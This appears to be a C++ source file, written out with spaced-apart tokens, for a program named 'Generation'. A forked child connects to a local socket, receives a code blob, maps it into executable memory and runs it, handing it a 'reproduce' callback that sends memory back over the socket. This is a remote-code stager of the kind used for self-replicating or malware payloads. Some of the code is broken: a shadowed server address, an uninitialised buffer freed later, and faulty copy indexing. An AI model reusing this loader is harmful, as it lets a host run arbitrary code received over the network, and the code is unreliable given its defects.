/*
@ file generation . cpp
*/
# include <cstdlib>
# include <cstring>
# include <iostream>
# include <stdexcept>
# include <arpa/inet.h>
# include <errno.h>
# include <malloc.h>
# include <sys/mman.h>
# include <sys/socket.h>
# include <unistd.h>
# define MAX_LEN 1024
# define PORT 5000
using namespace std ;
class Generation
{
struct sockaddr_in server ;
int sock ;
uint8_t * buffer ;
public :
Generation ( void ) ;
~ Generation ( void ) ;
int gen ( void ) ;
int reproduce ( void * pic_address , int pic_size ) ;
} ;
string b2a_hex ( uint8_t * buffer , int len )
{
char const hex_char [ 16 ] = { ' 0 ' , ' 1 ' , ' 2 ' , ' 3 ' , ' 4 ' , ' 5 ' , ' 6 ' , ' 7 ' ,
' 8 ' , ' 9 ' , ' A ' , ' B ' , ' C ' , ' D ' , ' E ' , ' F ' } ;
string ascii ;
for ( int iter = 0 ; iter < len ; iter + + )
{
const char character = buffer [ iter ] ;
ascii . append ( " \\ x " ) ;
ascii . append ( & hex_char [ ( character & 0xF0 ) > > 4 ] , 1 ) ;
ascii . append ( & hex_char [ character & 0xF ] , 1 ) ;
}
return ascii ;
}
Generation : : Generation ( void )
{
cout < < __func__ < < " \n " ;
struct sockaddr_in server ;
server . sin_addr . s_addr = htonl ( INADDR_LOOPBACK ) ;
server . sin_family = AF_INET ;
server . sin_port = htons ( PORT ) ;
sock = socket ( AF_INET , SOCK_STREAM , 0 ) ;
}
Generation : : ~ Generation ( void )
{
cout < < __func__ < < " \n " ;
if ( sock )
{
close ( sock ) ;
}
if ( buffer )
{
free ( buffer ) ;
}
}
int Generation : : reproduce ( void * pic_address , int pic_size )
{
cout < < __func__ < < " \n " ;
int status = 0 ;
printf ( " { \" address \" : \" %p \" , \" size \" : \" %d \" } \n " , pic_address , pic_size ) ;
status = connect ( sock , ( struct sockaddr * ) & server , sizeof ( server ) ) ;
status = write ( sock , pic_address , pic_size ) ;
status = 1 ;
return status ;
}
int Generation : : gen ( void )
{
cout < < __func__ < < " \n " ;
int status = 0 ;
while ( 1 )
{
status = connect ( sock , ( struct sockaddr * ) & server , sizeof ( server ) ) ;
if ( 0 = = status )
{
cout < < " connected [ " < < status < < " ] \n " ;
break ;
}
}
buffer = ( uint8_t * ) calloc ( 1 , MAX_LEN ) ;
while ( 1 )
{
status = read ( sock , buffer , MAX_LEN ) ;
if ( 0 < = status )
{
cout < < " recv len [ " < < status < < " ] \n " ;
break ;
}
}
cout < < " recv \n " < < b2a_hex ( buffer , sizeof ( int ) ) < < " \n " ;
int child_len = * ( int * ) buffer ;
cout < < " seed len [ " < < child_len < < " ] \n " ;
int prot = ( PROT_READ | PROT_WRITE | PROT_EXEC ) ;
int flags = ( MAP_ANON | MAP_PRIVATE ) ;
uint8_t * pic_buffer = ( uint8_t * ) mmap ( NULL , child_len , prot , flags , - 1 , 0 ) ;
if ( MAP_FAILED = = pic_buffer )
{
throw runtime_error ( " mmap fail " ) ;
}
int iter = child_len ;
while ( 1 )
{
status = read ( sock , buffer , MAX_LEN ) ;
if ( ! status )
{
continue ;
}
memcpy ( & pic_buffer [ iter - child_len ] , buffer , status ) ;
if ( ( status + iter ) > = child_len )
{
break ;
}
iter - = status ;
}
void ( * pic_function ) ( void * , int , void * ) ;
pic_function = reinterpret_cast < void ( * ) ( void * , int , void * ) > ( pic_buffer ) ;
cout < < " child spawn \n " ;
pic_function ( pic_buffer , child_len , ( void * ) & Generation : : reproduce ) ;
status = 1 ;
return status ;
}
int main ( int argc , const char * * argv )
{
cout < < __func__ < < " \n " ;
pid_t process_id ;
int status = 0 ;
process_id = fork ( ) ;
if ( 0 = = process_id )
{
Generation * gen = new Generation ( ) ;
status = gen - > gen ( ) ;
if ( status )
{
return 1 ;
}
}
return 0 ;
}